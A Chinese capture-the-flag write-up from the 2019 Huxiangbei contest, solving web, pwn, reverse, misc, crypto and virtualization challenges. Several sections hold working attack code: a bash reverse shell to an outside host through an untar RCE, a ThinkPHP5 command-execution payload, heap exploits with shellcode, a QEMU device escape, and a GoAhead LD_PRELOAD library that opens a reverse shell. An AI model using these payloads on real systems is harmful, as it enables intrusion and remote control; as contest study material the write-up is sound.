2019湖湘杯部分WP
0x01 untar
直接访问题目可以看到源码
<?php
$sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]);
echo $sandbox."</br>";
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET["url"]) && !preg_match('/^(http|https)://.*/', $_GET["url"]))
die();
$url = str_replace("|", "", $_GET["url"]);
$data = shell_exec("GET " . escapeshellarg($url));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));
highlight_file(__FILE__);
但是直接传马发现不解析,于是搜索了一下,发现 CVE-2018-12015: Archive::Tar: directory traversal
利用这个软连接可以来进行任意文件读取,具体poc如下
ln -s /var/www/html/index.php content
tar cvf exp.tar content
tar -tvvf exp.tar
php -S 0.0.0.0:2233
http://183.129.189.62:16407/?url=http://ezlovell.zeroyu.xyz:2233/exp.tar&filename=exp.tar
但是这个方法没有办法读取到flag
之后参考之前hitcon的ssrfme一题,发现可以在UNTAR处进行RCE,因此有了如下的exp
服务器信息:202.182.115.203 2233
首先在服务器的z3文件中写入如下语句,方便后续执行进行反弹shell
bash -i >& /dev/tcp/202.182.115.203/2333 0<&1 2>&1
之后启动监听和一句话服务器,一句话服务器主要用于下载z3文件
php -S 0.0.0.0:2233
nc -lvp 2333
之后按照顺序执行下列语句即可获取反弹的shell
exp:
http://183.129.189.62:16407/?url=http://202.182.115.203:2233/z3&filename=z3 http://183.129.189.62:16407/?url=http://202.182.115.203:2233/z3&filename=bash z3|
0x02 thinkphp
这个题目我直接使用Lucifer师傅的TPscan扫到漏洞,然后使用EXP直接RCE
PS: TPscan牛逼
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
thinkphp的相关知识可以来合天学习实验——ThinkPHP5远程命令执行漏洞:了解ThinkPHP5远程命令执行漏洞的原因和利用方法,以及如何修复该漏洞。快去实验室学习吧!
0x03 pwn1
静态链接啥保护都没有,洞在edit strlen函数使用,目标chunk 0x18大小,strlen就会把下一个堆头算进去,大小就变成了了0x19,edit函数有有off by one,程序数据段是可执行的,构造个overlap,fastbin attack打malloc hook就行了
from PwnContext import *
if __name__ == '__main__':
context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, '0'))
uu64 = lambda data :u64(data.ljust(8, '0'))
debugg = 0
logg = 1
ctx.binary = 'http://baijiahao.baidu.com/HackNote2'
#ctx.custom_lib_dir = 'http://baijiahao.baidu.com/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/'#remote libc
#ctx.debug_remote_libc = True
#ctx.symbols = {'note':0x6CBC40}
ctx.breakpoints = [0x400EB9]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode child
c")
if debugg:
rs()
else:
ctx.remote = ('183.129.189.62', 19104)
rs(method = 'remote')
if logg:
context.log_level = 'debug'
def choice(aid):
sla('Exit',aid)
def add(asize,acon):
choice(1)
sla('Size:',asize)
sa('Note:',acon)
def free(aid):
choice(2)
sla('Note:',aid)
def edit(aid,acon):
choice(3)
sla('Note:',aid)
sa('Note:',acon)
malloc_hook = 0x6CB788
fake = malloc_hook-0x16
add(0x18,'0
')
add(0x108,'x00'*0xf0+p64(0x100)+'
')
add(0x100,'2
')
add(0x10,'3
')
free(1)
edit(0,'0'*0x18)
edit(0,'0'*0x18+p16(0x100))
add(0x80,'111
')
add(0x30,'4
')
add(0x20,'5
')
free(1)
free(2)
free(4)
add(0xa0,'0'*0x88+p64(0x41)+p64(fake)+p64(0))#1
add(0x30,'2
')#2
shellcode=""
shellcode += "x31xf6x48xbbx2fx62x69x6e"
shellcode += "x2fx2fx73x68x56x53x54x5f"
shellcode += "x6ax3bx58x31xd2x0fx05"
add(0x38,'x00'*0x6+p64(malloc_hook+8)+shellcode+'
')
#ctx.debug()
irt()
0x04 NameSystem
程序在free函数存在逻辑漏洞,当free id为18的chunk时,会多复制一个19出来,构造double free攻击got,将free改成printf进行地址泄露,最后攻击malloc hook调用one gadget
from PwnContext import *
if __name__ == '__main__':
context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, '0'))
uu64 = lambda data :u64(data.ljust(8, '0'))
debugg = 0
logg = 0
ctx.binary = 'http://baijiahao.baidu.com/NameSystem'
#ctx.custom_lib_dir = 'http://baijiahao.baidu.com/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/'#remote libc
#ctx.debug_remote_libc = True
ctx.symbols = {'note':0x6020a0}
ctx.breakpoints = [0x400B25]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode child
c")
if debugg:
rs()
else:
ctx.remote = ('183.129.189.62', 19205)
rs(method = 'remote')
if logg:
context.log_level = 'debug'
def choice(aid):
sla('choice :',aid)
def add(asize,acon):
choice(1)
sla('Size:',asize)
sla('Name:',acon)
def free(aid):
choice(3)
sla('delete:',aid)
for i in range(17):
add(0x10,'%13$p')
for i in range(3):
add(0x50,'AAA')
free(18)
free(18)
free(17)
free(19)
for i in range(5):
free(0)
fake = 0x602000+2-8
add(0x50,p64(fake))
add(0x50,'111')
add(0x50,'222')
add(0x60,'17')
add(0x60,'18')
add(0x60,'19')
free(18)
free(19)
free(17)
free(17)
plt_printf = 0x4006D0
add(0x50,'x00'*6+p64(0)+p64(plt_printf)[:6])
free(0)
libc = ELF('http://baijiahao.baidu.com/libc.so.6')
libc_base = int(r(14),16) - libc.sym['__libc_start_main'] - 240
log.success("libc_base = %s"%hex(libc_base))
free(0)
free(0)
free(0)
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc = libc_base + libc.sym['realloc']
add(0x60,p64(malloc_hook-0x23))
add(0x60,'1')
add(0x60,'2')
one = libc_base + 0xf1147
log.success("one = %s"%hex(one))
add(0x60,'x00'*0xb+p64(one)+p64(realloc+20))
choice(1)
sla('Size:',16)
#ctx.debug()
irt()
0x05 argument
程序接收输入后,对输入进行16进制数转换,也就是在0-9a-f之内。然后对一个全局int数组前8个成员写入常量,后8成员不变。最后比较转换后的输入和这个全局数组每个元素-1。
dwords = [0x00000050, 0x000000C6, 0x000000F1, 0x000000E4, 0x000000E3, 0x000000E2, 0x0000009A, 0x000000A1, 0xa7, 0xde, 0xda, 0x46, 0xab, 0x2e, 0xff, 0xdb]
flag = '' for i in dwords:
flag += hex(i-1)[2:]
0x06 ezre
描述:城外的人想进去,城里的人想出来
解答:
迷宫题,把数据提出来,分别有+7,-7,+1,-1操作,走到左下角就出flag了
0x07 icekey
载入dnspy后,找到main函数。发现程序将输入的32个字节字符串进行加密,密钥是icekey的md5值,然后内存16进制转为64字节大小的字符串和密文b比较,相同则输入的内容为flag。题目内置了解密函数,通过右键对调用加密函数的地方编辑IL指令,选择方法引用,修改enc操作的那个函数为dec操作的那个函数。然后在输入字符串后下断,断下来之后将输入字符串地址通过cheatengine修改它的内存数据为密文b,也就是让程序对密文调用解密操作,完了后再通过cheatengine查看解密结果:
0x08 something in image
看到 application/vnd.oasis.opendocument.graphics 所以使用Libreoffice Writer打开这个badimages 搜索得到flag
Ps: 直接strings|grep Flag 就能搜到,hhhhh
0x09 EzMemory
这个题目直接解压后对目标文件mem.raw进行二进制搜索就可以搜到flag,具体的操作如下:
PS: 一个strings命令秒掉两个misc,emmm
~/Downloads/hxb2019
strings mem.raw| grep flag{
flag{wiND0w5_M3m0RY_F0R3n5IC5}.lnk
flag{wiND0w5_M3m0RY_F0R3n5IC5}.txt
flag{wiND0w5_M3m0RY_F0R3n5IC5}.txt
flag{wiND0w5_M3m0RY_F0R3n5IC5}.lnk
flag{wiND0w5_M3m0RY_F0R3n5IC5}.lnk
notepad "flag{wiND0w5_M3m0RY_F0R3n5IC5}.txt"
0x10 give me your passport
本题提供源码,以交互的方式进行。开始交互时题目会在后台生成8-12个随机字符组成的name,然后生成随机的加密初始向量iv,之后利用未知的key进行CBC方式的AES对name加密,返回给我们iv和name的加密结果的hex编码。用户输入数据,服务器会以输入的前16字节作为新的iv对其余数据进行解密,如果解密出来的name是‘Admin’则给出flag。采用CBC的加密方式,可以想到的攻击方式有字节翻转,根据加密原理已知 (pad(name) ^iv) = deAES(out) 要使 (pad(payload) ^newiv) = deAES(out) 可得 newiv = pad(name) ^iv ^pad(payload) 其中name未知,问题的关键在于求name。关键问题代码在此:
def check_pad(s, block_size):
assert len(s) % block_size == 0
assert ord(s[-1]) <= block_size
for i in range(ord(s[-1])):
assert s[-1-i] == s[-1]#mark
return s[:-1-i]
以及主程序的一段判断:
try:
print "padplain_text:" + plain_text
plain_text = check_pad(plain_text, AES.block_size)
print "plain_text:"+plain_text
except:
print "padding error"
sys.stdout.flush()
return
if plain_text == 'Admin':
print "Welcome admin, your flag is %s" % FLAG
sys.stdout.flush()
return
else:
print "YOU. SHALL. NOT. PASS!"
sys.stdout.flush()
return
问题在于check_pad中要求pad的每一位都要一样,在解密不为admin的情况下也会又两种情况,一种通过check_pad返回"YOU. SHALL. NOT. PASS",一种不通过返回"padding error",可以根据这两点的不同来逐位计算出name。具体过程: 首先计算出位数,不同位数pad的值不一样,设定name = 'q'i,i取8-12位,payload = '~'15,计算newiv,只有取到正确的i时才可以过check_pad。 之后利用类似的方法由后至前逐位求出name,最后求出newiv,获得flag。脚本如下:
# -*- coding: utf-8 -*-
# @Date: 2019-11-09 13:16:32
# @Last Modified time: 2019-11-09 16:16:32
from pwn import *
from Crypto.Cipher import AES
def pad(s, block_size):
return s + (block_size - len(s) % block_size) * chr(block_size - len(s) % block_size)
if __name__ == "__main__":
robj = remote("183.129.189.62", 19206)
temporary = robj.recvline()[:-1]
iv = str(temporary[-64: -32])
cipher = str(temporary[-32:])
temporary = robj.recvline()
# cacl name suffix
payload = '~'*15
for i in range(7, 13):
name = 'q'*i
iwt = int(iv, 16) ^ int(pad(payload, AES.block_size).encode('hex'),
16) ^ int(pad(name, AES.block_size).encode('hex'), 16)
iwt = hex(iwt)[2:] + cipher
robj.sendline(iwt)
temporary = robj.recvline()[:-1]
if 'padding error' not in temporary:
break
length = i
the_true_name = ''
for i in range(length):
for j in range(33, 128):
name = '~' * (length - 1 - i) + chr(j) + the_true_name
payload = '~' * (len(name)-1 - i)
iwt = int(iv, 16) ^ int(pad(payload, AES.block_size).encode('hex'), 16) ^ int(
pad(name, AES.block_size).encode('hex'), 16)
iwt = hex(iwt)[2:] + cipher
robj.sendline(iwt)
temporary = robj.recvline()[:-1]
if 'padding error' not in temporary:
the_true_name = chr(j) + the_true_name
break
user_role = "Admin"
iwt = int(iv, 16) ^ int(pad(user_role, AES.block_size).encode('hex'),
16) ^ int(pad(the_true_name, AES.block_size).encode('hex'), 16)
iwt = hex(iwt)[2:] + cipher
robj.sendline(iwt)
flag = robj.recvline()[:-1]
print 'flag:' + str(flag)
CBC相关知识学习可以学习实验——CBC字节翻转攻击:了解CBC模式实现流程、异或运算的高级应用、python中crypto库的使用以及cbc字节翻转攻击的原理与代码实现。快去合天网安实验室学习吧!
0x11 rsa
题目是一个RSA加密,已知n,e,dp,c,求m,推理过程可以参考https://skysec.top/2018/08/24/RSA%E4%B9%8B%E6%8B%92%E7%BB%9D%E5%A5%97%E8%B7%AF(1)/
dp的意思为:dp≡d mod (p1)
故此可以得到
k2(p1)(q1)+1=k1(p1)+dpek2(p1)(q1)+1=k1(p1)+dpe
变换一下
(p1)[k2(q1)k1]+1=dpe(p1)[k2(q1)k1]+1=dpe
因为
dp<p1dp<p1
可以得到
e>k2(q1)k1e>k2(q1)k1
我们假设
x=k2(q1)k1x=k2(q1)k1
可以得到x的范围为
(0,e)(0,e)
因此有
x(p1)+1=dpex(p1)+1=dpe
那么我们可以遍历
x∈(0,e)x∈(0,e)
求出p-1,求的方法也很简单,遍历65537种可能,其中肯定有一个p可以被n整除那么求出p和q,即可利用
(n)=(p1)(q1)de≡1 mod (n)(n)=(p1)(q1)de≡1 mod (n)
推出
d≡1e1 mod (n)d≡1e1 mod (n)
import gmpy2
import libnum
n = 22000596569856085362623019573995240143720890380678581299411213688857584612953014122879995808816872221032805734151343458921719334360194024890377075521680399678533655114261000716106870610083356478621445541840124447459943322577740268407217950081217130055057926816065068275999620502766866379465521042298370686053823448099778572878765782711260673185703889168702746195779250373642505375725925213796848495518878490786035363094086520257020021547827073768598600151928787434153003675096254792245014217044607440890694190989162318846104385311646123343795149489946251221774030484424581846841141819601874562109228016707364220840611
e = 65537
dp = 84373069210173690047629226878686144017052129353931011112880892379361035492516066159394115482289291025932915787077633999791002846189004408043685986856359812230222233165493645074459765748901898518115384084258143483508823079115319711227124403284267559950883054402576935436305927705016459382628196407373896831725
c = 14874271064669918581178066047207495551570421575260298116038863877424499500626920855863261194264169850678206604144314318171829367575688726593323863145664241189167820996601561389159819873734368810449011761054668595565217970516125181240869998009561140277444653698278073509852288720276008438965069627886972839146199102497874818473454932012374251932864118784065064885987416408142362577322906063320726241313252172382519793691513360909796645028353257317044086708114163313328952830378067342164675055195428728335222242094290731292113709866489975077052604333805889421889967835433026770417624703011718120347415460385182429795735
for i in range(1,65538):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)%phi
print libnum.n2s(pow(c,d,n))
0x12 DES
题目未知key,采用DES加密,已知Kn,也就是子密钥,已知mes加密的结果,要求求出mes以及key。 主要思路是这样,第一步通过DES子密钥求出密钥key,之后通过key直接进行解密求出mes,当然也可以直接用子密钥求解出mes。 通过子密钥求解key可以参考https://skysec.top/2017/12/25/%E4%B8%80%E9%81%93%E6%9C%89%E5%85%B3%E5%AF%86%E9%92%A5%E7%BC%96%E6%8E%92%E7%9A%84DES%E9%A2%98%E7%9B%AE/#%E7%94%B1%E5%AD%90%E5%AF%86%E9%92%A5%E5%8F%8D%E6%8E%A8deskey(飘零师傅NB,一搜又是你),一步一步求解,但是密钥生成子密钥的过程中有8位是没有用的,所以逆向推导子密钥会有8位是不确定的,遍历出来会有256个密钥,这256个密钥都可以用来加密解密,而且结果都是正确的。具体参考过程如下:
key1 = [1,0,1,0,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0]
__pc2 = [
13,16,10,23,0,4,
2,27,14,5,20,9,
22,18,11,3,25,7,
15,6,26,19,12,1,
40,51,30,36,46,54,
29,39,50,44,32,47,
43,48,38,55,33,52,
45,41,49,35,28,31
]
C1D1 = ['*']*56
for i in range(0,len(key1)):
C1D1[__pc2[i]] = key1[i]
print C1D1
#[00000001*11111100*110*00*000
# 011001*01*1101*0001011000*01]
# you1
C0 = '000000001*11111100*110*00*00'
D0 = '1011001*01*1101*0001011000*01'
__pc1 = [56,48,40,32,24,16,8,
0,57,49,41,33,25,17,
9,1,58,50,42,34,26,
18,10,2,59,51,43,35,
62,54,46,38,30,22,14,
6,61,53,45,37,29,21,
13,5,60,52,44,36,28,
20,12,4,27,19,11,3
]
C0D0 = C0+D0
res = ['*']*64
deskey = ""
for i in range(0,len(__pc1)):
res[__pc1[i]] = C0D0[i]
for i in res:
deskey += i
print deskey
def zuoyiwei(str,num):
my = str[num:len(str)]
my = my+str[0:num]
return my
def key_change_1(str):
key1_list = [57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4]
res = ""
for i in key1_list:
res+=str[i-1]
return res
def key_change_2(str):
key2_list = [14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32]
res = ""
for i in key2_list:
res+=str[i-1]
return res
def key_gen(str):
key_list = []
key_change_res = key_change_1(str)
key_c = key_change_res[0:28]
key_d = key_change_res[28:]
for i in range(1,17):
if (i==1) or (i==2) or (i==9) or (i==16):
key_c = zuoyiwei(key_c,1)
key_d = zuoyiwei(key_d,1)
else:
key_c = zuoyiwei(key_c,2)
key_d = zuoyiwei(key_d,2)
key_yiwei = key_c+key_d
key_res = key_change_2(key_yiwei)
key_list.append(key_res)
return key_list
deskey = "01000abc01de111f0100100h0110010i0110111j01k00L1m0n0o010p0100001q"
print key_gen(deskey)
deskey = "0100000c0110111f0100100h0110010i0110111j0110011m0100010p0100001q"
# ['101000001001011001000110001110110000011110011000','1k1o000000d101100n010010100l011000110110be1a0110','01100100kn010d10011100000011110ae00010111110010b','1d0001101101000n01010ok0000100b011l01e0011010011','00k01110d10000110101001n01l0e1111010010b00010a01','0010111n0101000100o010d1101010110e100101a10010l0','o0d0101100000001n10k10010b101l00110100110000011a','000n1k01010010o010011001e10101a0010001001l10b110','00o111010100n00k1d0010000l00000e11111b01010101a0','000100100dn010011000110k0110ba01101001001011l000','0001100k00101n0d000o0101111010010b0l11000a001e11','0n000o0100101100k010110d00001110a1010010e0l11110','110k00odn010010010100100b00101010101la011110010e','1101o00010001110d01000n01000a0e0100010b0111l0001','11nd0000101100100010ok10110b001l1a10111e00010101','10100000101ndk10o010011010100e011001a0l000001b11']
# [101000001001011001000110001110110000011110011000], [111000000011011001010010100101100011011000100110],[011001001101011001110000001111000000101111100100],[110001101101000101010010000100001110100011010011], [001011101100001101010011011001111010010000010001],[001011110101000100001011101010110010010101001010],[001010110000000111011001001011001101001100000110],[000111010100100010011001010101000100010011100110],[000111010100100111001000010000001111100101010100],[000100100110100110001101011000011010010010111000],[000110010010110100000101111010010001110000001011],[010000010010110010101101000011100101001000111110],[110100011010010010100100000101010101100111100100],[110100001000111010100010100000001000100011110001],[111100001011001000100110110000111010111000010101],[101000001011111000100110101000011001001000001011]
print key_gen(deskey)
# deskey = "0100000"+c+"0110111"+f+"0100100"+h+"0110010"+i+"0110111"+j+"0110011"+m+"0100010"+p+"0100001"+q
def bintostr(str):
res = ""
for i in range(0, len(str), 8):
res += chr(int(str[i:i+8],2))
return res
for c in "01":
for f in "01":
for h in "01":
for i in "01":
for j in "01":
for m in "01":
for p in "01":
for q in "01":
str = "0100000" + c + "0110111" + f + "0100100" + h + "0110010" + i + "0110111" + j + "0110011" + m + "0100010" + p + "0100001" + q
str = bintostr(str)
print +str
求出256个密钥后用任一解密可以得到mes。然后就是让人秃头的地方,讲道理这里一般都有个啥暗示可以筛选或者看出来一个明显特定的密钥,开始我盲猜要是可见字符,然后全部都是,然后又根据其它flag盲猜是uuid,然后全部都不是。 然后比赛快结束的时候,木的办法的我只好遍历了256个flag,开始一个一个试,在经历了卡顿掉线重新登陆提交的20分钟后我试出来了,具体结果就不说了,这个key确实是一个特定的词,但是混在256个里面很难看出来。
PS: LT牛逼
DES算法相关知识可以学习实验——DES对称加密算法详解:了解DES加密算法的原理,了解加密过程和加密细节,并使用python简单实现DES加密的过程。前往合天网安实验室开始学习!
0x13 云安全
Blizzard CTF 2017 Strng 魔改题,漏洞相同,仍然是pmio 地址没有校验的问题可以造成任意读写,只是把原来的函数指针改成了timer,通过读timer中的数据泄露地址,然后修改timer指针,触发timer,拿到flag
include <assert.h>
include <fcntl.h>
include <inttypes.h>
include <stdio.h>
include <stdlib.h>
include <string.h>
include <sys/mman.h>
include <sys/types.h>
include <unistd.h>
include<sys/io.h>
unsigned char* mmio_mem;
uint32_t pmio_base=0xc050;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}
uint32_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base+0,offset);
return pmio_read(pmio_base+4);
}
void pmio_abwrite(uint32_t offset, uint32_t value)
{
pmio_write(pmio_base+0,offset);
pmio_write(pmio_base+4,value);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = (char*)mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p
", mmio_mem);
//mmio_write(12,0x6f6f722f);
//mmio_write(16,0x6c662f74);
//mmio_write(20,0x6761);
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
// leak heap address
uint64_t timer_list_addr = pmio_arbread(0x10c);
timer_list_addr = timer_list_addr << 32;
timer_list_addr += pmio_arbread(0x108);
printf("[+] leak timer_list addr: 0x%lx
", timer_list_addr);
// leak text addr
uint64_t cb_addr = pmio_arbread(0x114);
cb_addr = cb_addr << 32;
cb_addr += pmio_arbread(0x110);
uint64_t text_base = cb_addr - 0x29ac8e;
uint64_t system_addr = text_base + 0x200D50;
printf("[+] leak cb addr: 0x%lx
", cb_addr);
printf("[+] text base: 0x%lx
", text_base);
printf("[+] system addr: 0x%lx
", system_addr);
// leak opaque addr
uint64_t opaque_addr = pmio_arbread(0x11c);
opaque_addr = opaque_addr << 32;
opaque_addr += pmio_arbread(0x118);
printf("[+] leak opaque addr: 0x%lx
", opaque_addr);
// write parameter addr first
//pmio_abwrite(0x0, 0xffffffff);
uint64_t para_addr = opaque_addr + 0xb04;
pmio_abwrite(0x118, para_addr & 0xffffffff);
// set flag first and then overwrite timer func pointer and trigger timer
mmio_write(12,0x20746163); // 'cat '
mmio_write(16, 0x67616c66); // 'flag'
pmio_abwrite(0x110, system_addr & 0xffffffff);
printf("[+] flag:
");
/*
// leaking libc address
uint64_t srandom_addr=pmio_arbread(0x108);
srandom_addr=srandom_addr<<32;
srandom_addr+=pmio_arbread(0x104);
printf("leaking srandom addr: 0x%lx
",srandom_addr);
uint64_t libc_base= srandom_addr-0x43bb0;
uint64_t system_addr= libc_base+0x4f440;
printf("libc base: 0x%lx
",libc_base);
printf("system addr: 0x%lx
",system_addr);
// leaking heap address
uint64_t heap_addr=pmio_arbread(0x1d0);
heap_addr=heap_addr<<32;
heap_addr+=pmio_arbread(0x1cc);
printf("leaking heap addr: 0x%lx
",heap_addr);
uint64_t para_addr=heap_addr+0x39c7c;
printf("parameter addr: 0xlx
",para_addr);
// overwrite rand_r pointer to system
pmio_abwrite(0x114,system_addr&0xffffffff);
mmio_write(0xc,0);
*/
}
0x14 大数据
访问网站之后从源码中看到一个cgi链接,点进去发现用的GoAhead,所以直接参考泽哥的文章,exp直接秒掉,exp
char *server_ip="202.182.115.203";
uint32_t server_port=7771;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
execve("/bin/sh", 0, 0);
}
exp的使用
gcc -shared -fPIC http://baijiahao.baidu.com/exp.c -o exp.so
curl -X POST --data-binary @exp.so http://183.129.189.62:14000/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0
之后服务器上进行监听即可
root@zerosll:~# nc -lvnp 7771
Listening on [0.0.0.0] (family 0, port 7771)
Connection from [183.129.189.58] port 7771 [tcp/*] accepted (family 2, sport 54228)
cat /start.sh
#!/bin/sh
# Add your startup script
# DO NOT DELETE
# /etc/init.d/xinetd start;
echo "$1";
echo "$1" > /home/ctf/flag;
while :
do
/usr/sbin/chroot --userspec 1000:1000 / /home/ctf/goahead -v --home /home/ctf/test /home/ctf/test/web 9999
done
cat /home/ctf/flag
flag{2392862153ef30405ef5c972139102be}
举报/反馈